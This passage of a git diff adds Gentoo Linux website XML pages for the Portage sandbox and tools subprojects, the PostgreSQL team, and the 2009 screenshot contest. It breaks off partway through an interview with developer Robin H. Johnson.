+<ul>
+<li>master: the current main development line</li>
+<li>prefix: experimental branch with support for prefix installs</li>
+<li>2.1.7: current stable maintenance branch</li>
+</ul>
+
+<note>The old SVN repository still exists, but is not updated anymore or used in any other way.</note>
+
+</body>
+</section>
+
+</extrachapter>
+
+
+</project>
diff --git a/xml/htdocs/proj/en/portage/sandbox/index.xml b/xml/htdocs/proj/en/portage/sandbox/index.xml
new file mode 100644
index 00000000..39c4655f
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/sandbox/index.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>Portage Sandbox</name>
+
+  <longname>Gentoo Linux Portage Sandbox Development</longname>
+
+  <description>
+    The Portage Development Sandbox Project is devoted to maintaining
+    and updating the portage sandbox library.
+  </description>
+
+  <longdescription>
+  <p>TODO</p>
+  </longdescription>
+
+  <goals>
+    <p>The development and maintenance of sandboxing-related tools and
+    libraries. These exist as a control method that allows portage to
+    be assured that all files executed operate only in monitored locations
+    and can be tracked in portage's database for later reversing.
+    </p>
+  </goals>
+  
+</project>
diff --git a/xml/htdocs/proj/en/portage/tools/index.xml b/xml/htdocs/proj/en/portage/tools/index.xml
new file mode 100644
index 00000000..b8574335
--- /dev/null
+++ b/xml/htdocs/proj/en/portage/tools/index.xml
@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+	<name>Gentoo Portage Tools</name>
+
+	<longname>Utilities related to Portage administration</longname>
+
+	<date>$Date: 2009/06/19 21:07:54 $</date>
+	<author title="Author"><mail link="genone@gentoo.org">Marius Mauch</mail></author>
+	
+	<description>
+		The Tools subproject deals with portage related tools that are not
+		included in the core portage package. This covers maintaining ebuilds 
+		for external packages as well as developing and improving our own 
+		utilities and scripts.
+	</description>
+
+	<longdescription><p>
+		The Tools subproject deals with portage related tools that are not
+		included in the core portage package. This covers maintaining ebuilds 
+		for external packages as well as developing and improving our own 
+		utilities and scripts.
+	</p></longdescription>
+
+	<goals>
+		<p>The major goal of this subproject is to provide Gentoo users a set of
+		userfriendly tools to make portage easier to use. This includes config
+		utilities (both GUI and console), programs to create and maintain ebuilds
+		and scripts to control portage beyond what <c>emerge</c> can do.
+		</p>
+	</goals>
+
+	<dev role="Lead" description="gentoolkit">fuzzyray</dev>
+	<dev role="Member" description="ufed">truedfx</dev>
+	<dev role="Member" description="gentoolkit-dev">idl0r</dev>
+
+	<herd name="tools-portage"/>
+
+	<resource link="http://sources.gentoo.org/viewcvs.py/gentoolkit/">Gentoolkit SVN repository (over viewcvs)</resource>
+	<resource link="http://sources.gentoo.org/viewcvs.py/gentoo-src/ufed/">Ufed CVS repository (over viewcvs)</resource>
+
+<!-- START: keep this in sync with portage/index-new.xml -->
+<extrachapter position="bottom">
+<title>Contributing to Portage Utilities</title>
+<section>
+<title>Bug Reports</title>
+<body>
+<p>Please report all bugs you encounter on 
+<uri link="http://bugs.gentoo.org">our bug tracking system</uri>.
+Before opening a new bug report please make sure that the bug has not 
+already been reported by another user.</p>
+<impo>Do not report bugs/requests about anything other than app-portage packages in the Portage Development/Tools product</impo>
+<p>
+In your bug report please state clearly:
+</p>
+
+<ul>
+<li>Which tool the bug is about</li>
+<li>How you triggered the bug (commands executed, files edited, ...)</li>
+<li>What portage version and the version of the tools you used when you found the bug</li>
+<li>If the bug is reproducable</li>
+<li>The output of the <c>emerge --info</c> command</li>
+</ul>
+
+<p>Please don't get too impatient if there is no immideate reaction on your bug,
+it can sometimes take a while before a developer has time to look at it (this 
+also applies to non-Portage bug reports). Often we'll need additional information
+from you while trying to resolve a bug, please provide it as soon as you can, if we
+have to wait too long (over a month) we'll likely close the bug as RESOLVED:NEEDINFO,
+you can however reopen it when you posted the requested information.</p>
+
+<p>
+Please do not reopen bugs unless you're in one of the following situations:
+</p>
+
+<ul>
+<li>The bug was marked as RESOLVED:FIXED, but you can still reproduce it with the new 
+version that is suposed to contain the fix (the version is generally stated when 
+the bug is closed)</li>
+<li>The bug was marked as RESOLVED:NEEDINFO and you have provided the requested information</li>
+<li>The bug was marked as RESOLVED:WONTFIX, RESOLVED:CANTFIX or RESOLVED:LATER
+and you think we misunderstood you. <b>Do not reopen a bug just because you disagree 
+with our resolution</b>.</li>
+</ul>
+
+<p>
+Be aware that we will still read comments on bug reports even if the report itself is closed,
+so you don't have to reopen it just to get our attention.
+</p>
+
+<p>Every bug report deals with one specific problem, please respect that and don't talk about
+other not directly related bugs on a bug report.</p>
+</body>
+</section>
+
+<section>
+<title>Submitting Patches</title>
+<body>
+<p>
+If you want to submit a patch, please make sure the patch complies to 
+the following criteria:
+</p>
+
+<ul>
+<li>Use TABS. Some people like 8 spaces, some people like 4, and some
+like 2. Tabs are the happy medium. Patches that use spaces and/or a mix of 
+tabs and spaces for indentation will likely be rejected.</li>
+<li>Generally submit diff files instead of whole files, only when the diff is 
+significantly larger than the file itself or the file didn't exist previously
+submitting the whole file is acceptable.</li>
+<li>Diffs have to be in unified form (<c>diff -u</c>, <c>svn diff</c>).</li>
+<li>Always submit a detailed explanation of what the patch does and, if necessary,
+why you chose the specific implementation you submitted (IOW: what's the 
+benefit of the patch). Also include any problems and/or drawbacks you think the patch has.</li>
+<li>Always state against which version (for releases) or revision and branch (for svn patches)
+the patch was made.</li>
+<li>Only submit clean patches. Do not include other patches in a
+submitted patch. If the code found in a patch does not match the
+description of the patch, it will be rejected. Also don't add any unrelated code cleanups
+in your patch</li>
+</ul>
+
+<p>
+If the patch is related to a specific bug report, please attach it there as text/plain.
+If it is not directly related to a bug report (to your knowledge) please open a new one.
+</p>
+
+</body>
+</section>
+<!-- END: keep this in sync with portage/index-new.xml-->
+
+<section>
+<title>SVN/CVS repositories</title>
+<body>
+<p>
+All tools that are directly developed by the Portage Utilities Project are maintained
+in SVN or CVS repositories on the Gentoo CVS server. These include:
+</p>
+
+<ul>
+<li>Gentoolkit: <uri>svn+ssh://cvs.gentoo.org/var/svnroot/gentoolkit</uri></li>
+<li>Ufed: <path>cvs.gentoo.org:/var/cvsroot/gentoo-src/ufed</path></li>
+</ul>
+
+<p>
+Currently no anonymous access is available for these repositories.
+</p>
+
+</body>
+</section>
+
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/postgresql/index.xml b/xml/htdocs/proj/en/postgresql/index.xml
new file mode 100644
index 00000000..ba44935e
--- /dev/null
+++ b/xml/htdocs/proj/en/postgresql/index.xml
@@ -0,0 +1,124 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>PostgreSQL</name>
+<longname>Gentoo PostgreSQL Team</longname>
+<date>2006-12-07</date>
+
+<description>
+The Gentoo PostgreSQL Team is responsible for delivering high-quality support for
+the PostgreSQL RDBMS (Relational DataBase Management System) for Gentoo Linux.
+</description>
+
+<longdescription>
+
+<p>
+<b>What we do, and who we are</b>
+</p>
+
+<p>
+The Gentoo PostgreSQL Team looks after the packages for the PostgreSQL RDBMS.
+PostgreSQL is one of the most important and popular opensource RDBMS for
+web-based applications.
+</p>
+
+<p>
+We're also onhand to provide information and support on PostgreSQL to other Gentoo 
+developers.
+</p>
+
+</longdescription>
+
+<goals><p>
+Our goal is to ensure that Gentoo provides the best environment possible for 
+developing and running software based on PostgreSQL.
+</p></goals>
+
+<!-- Developer Roles -->
+<dev role="Member">dev-zero</dev>
+<dev role="Member">beandog</dev>
+
+<!-- Project Specific Pages/Documentation -->
+<resource link="http://overlays.gentoo.org/proj/postgresql/">The Gentoo PostgreSQL Overlay &amp; Wiki</resource>
+
+<!-- Subprojects -->
+<!--subproject ref="/proj/en/gdp/international.xml"/-->
+
+<!-- herds -->
+<herd name="postgresql" />
+
+<!-- Status updates -->
+<extrachapter>
+<title>Status Updates</title>
+<section>
+<title>What are Status Updates?</title>
+<body>
+
+<p>
+We provide regular status updates covering what the Gentoo PostgreSQL Team has
+accomplished since the previous status update. It is written by one of
+the team members and contains a quick overview of recent progress.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Listing</title>
+<body>
+
+<p>
+The following status updates are available:
+</p>
+
+<p>
+The Gentoo PostgreSQL Team has not published any status updates at this time.
+</p>
+
+<!--
+<ul>
+  <li><uri link="status/status_2006Q1.xml>Jan-March, 2006</uri></li>
+</ul>
+-->
+
+</body>
+</section>
+</extrachapter>
+
+<!-- Chapter regarding mailing list & participation -->
+<extrachapter>
+<title>Participating</title>
+<section>
+<title>#gentoo-db on irc.freenode.net</title>
+<body>
+
+<p>
+The best way to reach us is on IRC in the <uri
+link="irc://freenode/gentoo-db">#gentoo-db</uri> channel on irc.freenode.net.
+Please feel free to stop by to talk about PostgreSQL on Gentoo. We welcome any
+suggestions for improvement.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Participating</title>
+<body>
+
+<p>
+The best way to get involved with what we do is to hang out in #gentoo-db.
+There are always things to be done (and exciting new ideas to turn into
+reality), and we're always looking for new ways to make Gentoo the first
+choice for developers working with PostgreSQL, and for system administrators
+running it.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/pr/2009-screenshot-contest.xml b/xml/htdocs/proj/en/pr/2009-screenshot-contest.xml
new file mode 100644
index 00000000..e04af15d
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/2009-screenshot-contest.xml
@@ -0,0 +1,156 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/2009-screenshot-contest.xml,v 1.6 2010/05/24 19:42:58 dabbott Exp $ -->
+
+<guide>
+<title>Gentoo Screenshot Contest 2009</title>
+
+<author title="Author">
+  <mail link="hwoarang"/>
+</author>
+<author title="Author">
+  <mail link="dabbott"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+Second Gentoo Screenshot Contest
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2</version>
+<date>2009-07-26</date>
+
+<chapter>
+<title>General information</title>
+<section>
+<title>Disclaimer</title>
+<body>
+
+<p>
+The screenshots submitted are contributed by various Gentoo users and
+developers. Upon request of further details on a specific screenshot, one may
+try to locate the author in #gentoo channel on the Freenode IRC network or in
+our <uri link="http://forums.gentoo.org">Gentoo Forums</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Judges</title>
+<body>
+
+<p>
+The <uri link="2009-screenshot-judges.xml">Judges</uri> will consist of one
+active developer and two independent Gentoo users.
+</p>
+
+</body>
+</section>
+<section>
+<title>Submission Rules</title>
+<body>
+
+<p>
+The following rules apply to this contest:
+</p>
+
+<ol>
+  <li>Each contestant is only allowed to make up to one submission</li>
+  <li>
+    The image resolution must be strictly between 1024x600 and 1920x1200
+    pixels
+  </li>
+  <li>The images must be in 'png' format</li>
+  <li>
+    One must prove the origin of their screenshot being a Gentoo Linux machine.
+    For this, an open terminal with <c>emerge --info |head -n 1</c> output is
+    used.
+  </li>
+</ol>
+
+</body>
+</section>
+<section>
+<title>Contest Details</title>
+<body>
+
+<ol>
+  <li>
+    The 2009 Screenshot contest is part of the Gentoo 10 Year Anniversary
+    Celebration
+  </li>
+  <li>
+	The 3 best screenshots will be posted on the <uri
+		link="/news/20091004-screenshot-winners-announcement.xml">2009 Gentoo 10
+		Screenshot Winners page.</uri>
+  </li>
+  <li>
+    Here we will compare the current screenshots with screenshots from the early
+    days.
+  </li>
+  <li>
+    The submission deadline is September 15, 2009 (2009-09-15) and the winner
+    will be announced on the 10 year anniversary date of October 04, 2009
+    (2009-10-04)
+  </li>
+</ol>
+
+<note>
+The <uri link="/proj/en/desktop/artwork/index.xml">Gentoo Artwork Project</uri>
+may wish to recreate your ideas, therefore please write down all the resources
+you used in detail.
+</note>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>How to submit your screenshot</title>
+<section>
+<body>
+
+<p>
+<b>By submitting your screenshot you agree to the terms under the <uri
+link="http://creativecommons.org/licenses/by-sa/2.5/">Creative Commons -
+Attribution / Share Alike license.</uri></b>
+</p>
+
+<p>
+Please provide the following information in your submission e-mail:
+</p>
+
+<ol>
+  <li>
+    Username (if you have any, on the Gentoo Forums or IRC so that the other
+    users may contact you if needed)
+  </li>
+  <li>Name (optional)</li>
+  <li>
+    Provide details (links, resources etc.) of your screenshot components such
+    as themes, icons, wallpaper, applications, etc.
+  </li>
+  <li>
+    Please provide the specs of your box so we can compare it with the systems
+    from the past
+  </li>
+</ol>
+
+<p>
+<b>Screenshots should be mailed to <mail link="pr@gentoo.org">Gentoo PR
+Project</mail></b>
+</p>
+
+<impo>
+Your email will be kept private.
+</impo>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/2009-screenshot-judges.xml b/xml/htdocs/proj/en/pr/2009-screenshot-judges.xml
new file mode 100644
index 00000000..e26acf74
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/2009-screenshot-judges.xml
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/pr/2009-screenshot-judges.xml,v 1.4 2009/07/25 23:52:22 dabbott Exp $ -->
+<!DOCTYPE news SYSTEM "/dtd/guide.dtd"> <news gentoo="yes" category="gentoo">
+
+<!-- Enter your name here -->
+<poster>dabbott</poster>
+
+<!-- Date to be displayed - usually the GWN release date -->
+<date>2009-07-25</date>
+
+<!-- Title of the news item - don't forget to change the date -->
+<title>Judges For The 2009 Screenshot Contest</title>
+
+<body>
+
+<!-- Alter to your own likings -->
+
+<p> 
+There will be three judges that will decide the three winning screenshots for
+this years contest. Winners will recieve bragging rights on irc and the forums.  
+</p>
+
+<p>
+<b>Introducing The Judges</b>
+</p>
+<dl>
+<dt>
+Markos Chandras (hwoarang) Gentoo Developer
+</dt>
+<dd> 
+Markos is a busy man, he helps out with Qt, kde, sunrise, sound, and the kernel.
+</dd>
+<dt>
+Markos's Desktop
+</dt>
+<dd>
+<ul>
+  <li>Custom Made Tower (:p) AMD Athlon 64 2800+ (1,8Ghz) </li> 
+  <li>NVidia 6600GT  (Twin view ) </li>
+  <li>RAM: 1,5GB DDR | 2 X HDD 250 GB </li>
+  <li>Screenshot info: KDE-4.2.4 , Qt-4.5.3 (4.5.9999 trunk ) </li>
+  <li>Plasmoids: plasma-emergelog, plasmatvgr, imagebin, cpu info, pager, stdin </li>
+  <li>Theme: Arezzo </li>
+</ul><img src="Marcos_Judge.png" />
+</dd>
+
+<dt>
+Noel Saliba (weirdedout)
+</dt>
+<dd>
+Noel is a longtime Gentoo user and he gets to take care of Gentoo Servers as a
+System Administrator all over the world. 
+</dd>
+
+<dt>Noels's Desktop</dt> 
+<dd>
+<ul>
+  <li>User Name: aussiemale (Gentoo Forums) </li>
+  <li>Hardware Spec:  Notebook Dell Inspiron 6400 CPU </li>
+  <li>Intel Core Duo (T2300) - 1.66GHz </li>
+  <li>VGA: Intel 945GM </li>
+  <li>RAM: 2GB DDR2 </li>
+  <li>HDD: 320GB Western Digital SATA </li>
+  <li>Screenshot Info:  KDE 3.5.10 | conky | konsole KBFX </li>
+  <li>Window Decoration - Laptop Wallpaper - 104718-Pi.jpeg (from KDE-Look.org I think) </li>
+</ul><img src="Noel_Judge.png" /> 
+</dd>
+
+<dt>
+Fernando V. Orocu (likewhoa)
+</dt>
+
+<dd>
+Fernando A.K.A likewhoa has been using Gentoo Linux since 2004 and has been
+deploying Gentoo servers ever since with a passion for OSS and User
+collaboration
+</dd>
+
+<dt>
+Fernando's Desktop
+</dt>
+<dd>
+<ul>
+  <li>User Name: likewhoa (Gentoo Forums) </li> 
+  <li>Hardware Spec: DFI NF4 Socket 939 Venus Mainboard </li> 
+  <li>Opteron 165 at 3150MHz </li>
+  <li>Ram: 2GB 3-3-2-6 under H2O </li>
+  <li>Screenshot Info: fvwm2 </li>
+  <li>Custom Gentoo Related Dynamic Menus </li>
+</ul><img src="Fernando_Judge.png" /> 
+</dd>
+</dl>
+
+</body>
+
+</news>
diff --git a/xml/htdocs/proj/en/pr/2009-screenshot-winners.xml b/xml/htdocs/proj/en/pr/2009-screenshot-winners.xml
new file mode 100644
index 00000000..633971db
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/2009-screenshot-winners.xml
@@ -0,0 +1,202 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="2009-screenshot-winners.xml" lang="en">
+<title>2009 Screenshot Contest Winners</title>
+
+<author title="Author">
+  <mail link="dabbott@gentoo.org">David Abbott</mail>
+</author>
+
+<abstract>
+The top 3 screenshots submitted by Gentoo users and developers during the 2009
+10 year anniversary party.
+</abstract>
+
+<license />
+
+<version>10.0</version>
+<date>2009-10-04</date>
+
+<faqindex>
+<title>Screenshot Winners</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+As part of the Gentoo ten year anniversary below are the winners to the
+screenshot contest. There were a total of 54 entries. congratulations to the
+winners, I had a blast putting on the contest and getting a chance to meet so
+many Gentoo users.
+</p>
+
+</body>
+</section>
+</faqindex>
+
+<chapter>
+<title>First Place</title>
+<section id="First Place">
+<title>Quick23t</title>
+<body>
+	
+<p>
+<b>Name: Cliff Prewitt</b>
+</p>
+
+<p>
+<b>About:</b>
+</p>
+	
+<p>
+Running compiz-fusion as the window manager with lxdepanel, wallpaper picked up
+from deviantart.com, icons sourced all over, avant-window-navigator,
+xfce4-terminal.
+</p>
+
+<p>
+<b>System Specs:</b>
+</p>
+
+<ul>	
+	<li>Biostar TForce X58</li>
+	<li>Intel CoreI7 920</li>
+	<li>6GB Corsair</li>
+	<li>Dominator DDR3</li>
+	<li>XFX 9800GTX 512MB</li>
+	<li>Audigy2 ZS</li>
+	<li>36GB Raptor (System Drive)</li>
+	<li>1TB /home, 1TB (storage)</li>
+</ul>
+
+<figure link="http://dev.gentoo.org/~dabbott/pr/CP_sm.png" short="First Place" caption="Cliff Prewitt (Quick23t)"/>
+
+<p>
+<b>
+	<uri link="http://dev.gentoo.org/~dabbott/pr/CP.png">Full Screenshot</uri>
+</b>
+</p>
+
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Second Place</title>
+<section id="Second Place">
+<title>ashtophet</title>
+<body>
+
+<p>
+<b>About:</b>
+</p>
+
+<ul>
+	<li>Fvwm 2.5.27</li>
+	<li>urxvt terminal emulators (urxvtd + urxvtc):</li>
+	<li>Wallpaper:</li>
+	<li>Carbon by Alexander tweaked by chinho</li>
+	<li>Conky 1.7.2_rc3 (patched)</li>
+	<li>xmms2 0.6 DrMattDestruction (patched)</li>
+	<li>GNU Emacs on a screen session</li>
+	<li>Mozilla Firefox</li>
+	<li>FvwmConsole</li>
+	<li>top | atop | latencytop | iptraf</li>
+</ul>
+
+
+<p>
+<b>System Specs:</b>
+</p>
+
+<ul>
+	<li>CPU: AMD Athlon XP 2600+@2100Mhz</li>
+	<li>MEM: 2GB DDR2</li>
+	<li>Motherboard: Asus A7N8X-Deluxe</li>
+	<li>Storage: 2xSATA@80GB (WD) + 1xSATA@1TB (WD)</li>
+	<li>Graphics card: nvidia GeForce 6600 (NV43) (using nouveau video
+		driver)</li>
+	<li>Sound: Audigy</li>
+</ul>
+
+<figure link="http://dev.gentoo.org/~dabbott/pr/ash_sm.png" 
+	short="Second Place" caption="(ashtophet)"/>
+
+<p>
+<b>
+	<uri link="http://dev.gentoo.org/~dabbott/pr/ash.png">
+		Full Screenshot</uri>
+</b>
+</p>
+
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Third Place</title>
+<section id="Thrid Place">
+<title>integer</title>
+<body>
+	
+<p>
+<b>Name: Kostya Sha</b>
+</p>
+
+<p>
+<b>About:</b>
+</p>
+	
+<p>
+fluxbox with darkmystic style;gkrellm2;mrxvt with irssi + links;terminus font
+</p>
+
+<p>
+<b>System Specs:</b>
+</p>
+
+
+<p>
+2.6.25-gentoo-r6 #3 Thu Jan 1 20:48:59 EET 2009 i686 AMD Athlon(tm) XP 2000+
+</p>
+<p>
+GeForce4 MX 440
+</p>
+
+<figure link="http://dev.gentoo.org/~dabbott/pr/integer_sm.png" 
+	short="Third Place" caption="Kostya Sha"/>
+
+<p>
+<b>
+	<uri link="http://dev.gentoo.org/~dabbott/pr/integer.png">
+		Full Screenshot</uri>
+</b>
+</p>
+
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>More Information</title>
+<section id="Contestants">
+<title>All Contestents</title>
+
+<body>
+<p>
+Go here if you would like to view all the entries in <uri
+	link="http://gentoo-pr.org/2009-Screenshot-Contest/gallery/index.html">gallery
+	format.</uri> Here are all of the contestants and the details of their
+screenshot in <uri link="http://gentoo-pr.org/node/6">blog format.</uri>
+</p>
+
+<p>
+<uri link="http://forums.gentoo.org/viewtopic-t-787110.html">discuss this!</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/pr/20090724-robbat2-interview.xml b/xml/htdocs/proj/en/pr/20090724-robbat2-interview.xml
new file mode 100644
index 00000000..1b01e91b
--- /dev/null
+++ b/xml/htdocs/proj/en/pr/20090724-robbat2-interview.xml
@@ -0,0 +1,385 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $HEADER: $ -->
+<guide>
+<title>Interview Gentoo Developer Robin H. Johnson (robbat2)</title>
+
+<author title="Author">
+  <mail link="dabbott"/>
+</author>
+
+<abstract>
+Interview with Robin H. Johnson (robbat2)
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-08-01</date>
+
+<chapter>
+<title>Interview with Robin H. Johnson (robbat2)</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p> 
+Today I have the pleasure of introducing to all of you, Robin H. Johnson
+(robbat2) Gentoo Developer, Gentoo Trustee board member, head of the
+infrastructure, without it working smoothly there would not be Gentoo as we
+know it. Robin is also involved with helping out MySQL, LDAP, base-system, and
+lots more.  
+</p>
+
+</body>
+</section>
+<section>
+<title>Robin's Interview</title>
+<body>
+
+<p>
+Hi Robin, thanks for the interview.
+</p>
+
+<p>
+Hi David, Thanks for asking me.
+</p>
+
+<dl>
+<dt> 
+1) Is Gentoo your first open source project?  
+</dt> 
+<dd> 
+No, my first full-scale involvement was as one of the phpMyAdmin developers,
+starting in May 2001,about 2 months after it first moved onto SourceForge.
+Prior to that it was just the occasional patches submitted back to projects I
+was using as a Slackware user.  
+</dd>
+<dt> 
+2) How long have you been a Gentoo user?  </dt> <dd> According to bugzilla, my
+first ever bug/comment was bug 14397, complaining that PHP was detecting GCC2
+as a cross-compiler, on 2003-02-25. I wasn't a dev yet then, but it already
+shows the debug path.  
+</dd>
+<dt> 
+3) How did you come up with the nick (robbat2)?  
+</dt> 
+<dd>    
+That comes down to an overly long and complicated story for this podcast, but
+it involves multiplayer LAN flight sims, writing Quake 1 mods, a namespace
+conflict on my older nick, and abusing DOS ASCII art.  
+</dd>
+<dt> 
+4) What has your journey been like with Linux, and how did it start?
+</dt> 
+<dd> 
+Being given a RH6.2 CD1 CD (not the entire set), back in 1997, prior to having
+any internet connection, still living in South Africa, and having it
+accidentally wipe out my DOS machine, that I did Pascal programming on at the
+time. Reinstall DOS, try again a couple of months later, when school was out,
+find that the compilers worked, but there wasn't much point to it, go back to
+DOS. Later on, when I first moved to Canada in January 1999, I realized that
+having an always-on internet connection massively widened the realm of Linux
+possibilities. I was going to go with RedHat again, having bought real pressed
+media for $5 at a local Linux festival, but it turned out to be defective, and
+I just downloaded slackware ISOs instead.  
+</dd>
+<dt> 
+5) What motivated you to become a Gentoo Developer?  </dt> <dd> Daniel Robbins
+complained I was submitting too many patches and ideas, and that I might as
+well join to commit them myself.  
+</dd>
+<dt> 
+6) What aspects of Gentoo do you feel the developers and maintainers have got
+right?  
+</dt> 
+<dd> 
+This is interesting in the issue of the distribution vs. the
+developers/maintainers. The distribution has got the degree of control down
+very nicely, which is partly due to the developer demand to change stuff to be
+the way they want it, but the degree of transparency is also much better than
+the binary distributions I feel. I remember looking for RPM specfiles in the
+past, and not being able to find them, to see what patches were being used, or
+configure flags were being passed.  
+</dd>
+<dt> 
+7) What is it about Gentoo you would like to see improved?  
+</dt> 
+<dd> 
+Transparency in projects that are going on, but also in users paying attention
+to what we are doing. However, if there's one single area, it's how slow we
+move stuff to stable. I've complained before, but recent presentation by Scott
+Shawcroft from OSCON showed just how bad it is. Our unstable tree is in great
+shape, but our stable tree is worse than many of the major distros, esp Ubuntu
+and Fedora.  
+</dd>
+<dt> 
+8) What are some of the Projects within Gentoo that you enjoy contributing to?  
+</dt> 
+<dd> 
+The infrastructure project is the most fun, as I enjoy the challenge involved
+in cohesively managing 40+ disparate servers, scattered in 12 locations around
+the world. The requirements of unique development to automate the work is also
+fun.  
+</dd>
+<dt> 
+9) Could you give me an overview of the Gentoo infrastructure?  
+</dt> 
+<dd> 
+Nearly 50 percent of the infrastructure hardware is taken up by web
+applications, because we have a lot of separation between web applications that
+have a high security exposure. Admittedly some of the web services are a very
+big deal for Gentoo, like our Bugzilla service, running on 4 machines sponsored
+by the Dutch social network, Hyves. Very recently we've gotten new hardware for
+Forums, sponsored by Gossamer Threads. The next largest slice after that is the
+machines that provides rsync.gentoo.org service.  Only then do we get down to
+individual machines for purposes. There's some cases where having more hardware
+as fail-over in case we lose a machine would be nice, but I think the place
+that'd we would benefit the most presently would be a newer mail server
+infrastructure, so that we can deploy heavier spam filtering.  
+</dd>
+<dt> 
+10) Who helps you with the infrastructure?  </dt> <dd> Lance (ramareth) was the
+previous infrastructure lead, and Mike (kingtaco) is my present co-lead, but
+he's a slacker most of the time.  Shyam (fox2mike) started off in handling
+mirrors, but is now up at handling some day-to-day infrastructure issues as
+well. Solar helps out with stuff as well, but is mainly there in an advisory
+role these days.  
+</dd>
+<dt> 
+11) What is the process for someone to donate a server or set up an rsync mirror?  
+</dt> 
+<dd> 
+If you'd like to set up your own rsync or source mirror, we offer complete
+instructions linked from the very bottom of the Mirrors page on the website.
+The 'gentoo-rsync-mirror' package also offers a sample configuration and
+scripts for rsync mirrors. Most of our server donations are in the form of the
+sponsor continuing to own the hardware, and hosting it at their own location.
+Rackspace, power and bandwidth costs ultimately add up to much more than the
+value of the hardware. We'd like to move into having more hardware that Gentoo
+actually owns, but we need to secure more hosting (and possibly remote hands)
+before that. In the meantime, for hosting a server for, contact the
+infrastructure team, infra@gentoo.org, to set us up with access to the new
+hardware, running on a LiveCD so that we can perform our cfengine-powered
+install of the hardened system. If you've got IPMI or remote console (serial or
+KVM), that's extremely useful as well.  
+</dd> 
+<dt> 
+12) Is git in the future plans?  
+</dt> 
+<dd> 
+With more hours in the day, it'll come sooner, but it's not a high priority
+item. I passed out a few of the TODO items on my last status post to the
+gentoo-scm mailing list. Of them, only WilliamH has done anything. One of the
+upstream cvs2svn authors, mhagger, helped out significantly in performance
+improvements, but those aren't fully baked yet, he'd like to find some time to
+finish them, and possibly some sponsorship so he can put aside his dayjob to
+work on them.  
+</dd>
+<dt> 
+13) As a Gentoo Developer what are some of your accomplishments?  
+</dt>
+<dd> 
+Over my time as a developer, a lot of the things I do seem to be because it was
+broken, and nobody else cared about it at the time.  That's how I came to be
+the maintainer of qmail, PHP and MySQL back in my early developer days. In all
+3 cases, I started the teams to maintain them. The MySQL team is the only one
+of those not still in existence.  The developers that joined have retired
+before me, and MySQL has come back to me.  
+</dd>
+<dt> 
+14) What applications would you like to see included within Gentoo?  
+</dt>
+<dd> 
+There are a couple of more complex applications I've run into, that I'd like
+packaged, but after attempting to do so myself, I can see why nobody else has
+yet either. Most recently, was the Evergreen Library System, after I met some
+of the local implementors at an unconference last year.  
+</dd>
+<dt> 
+15) What are your thoughts on Sun acquiring Oracle and its effect on MySQL?  
+</dt> 
+<dd> 
+(assuming you meant Oracle acquiring Sun).  My views on the matter are
+reasonably positive for both Sun and MySQL, due to Oracle's dependence on Java,
+along with the spread of the original core MySQL employees to no longer work
+for any of the 3 companies, and MySQL AB's recently renewed commitment to
+having a fully open MySQL - they got rid of the split between MySQL-community
+and MySQL-enterprise.  
+</dd>
+<dt> 
+16) What open source software can you not live without at home and at work?  
+</dt> 
+<dd> 
+I'd have to put VIM first on the list, it does wonders for productivity.
+Similarly, Gentoo itself belongs there, as we rely critically on it for work
+and also my personal systems.  
+</dd>
+<dt> 
+17) Which open source programs would you like to see developed?  
+</dt>
+<dd> 
+Less reliance and imitation of windows, we need to come up with new concepts of
+software more. The Evergreen Library system is making good inroads for that
+field, but it's extremely complex. The Radeon and Nvidia open source drivers
+are making good but slow progress. There's a couple of ideas I've had floating
+in my head, mainly for reimplementing software where I don't like any of the
+existing options, but none of them are really radically new.  
+</dd>
+<dt> 
+18) What resources have you found most helpful when troubleshooting within Gentoo?  
+</dt> 
+<dd> 
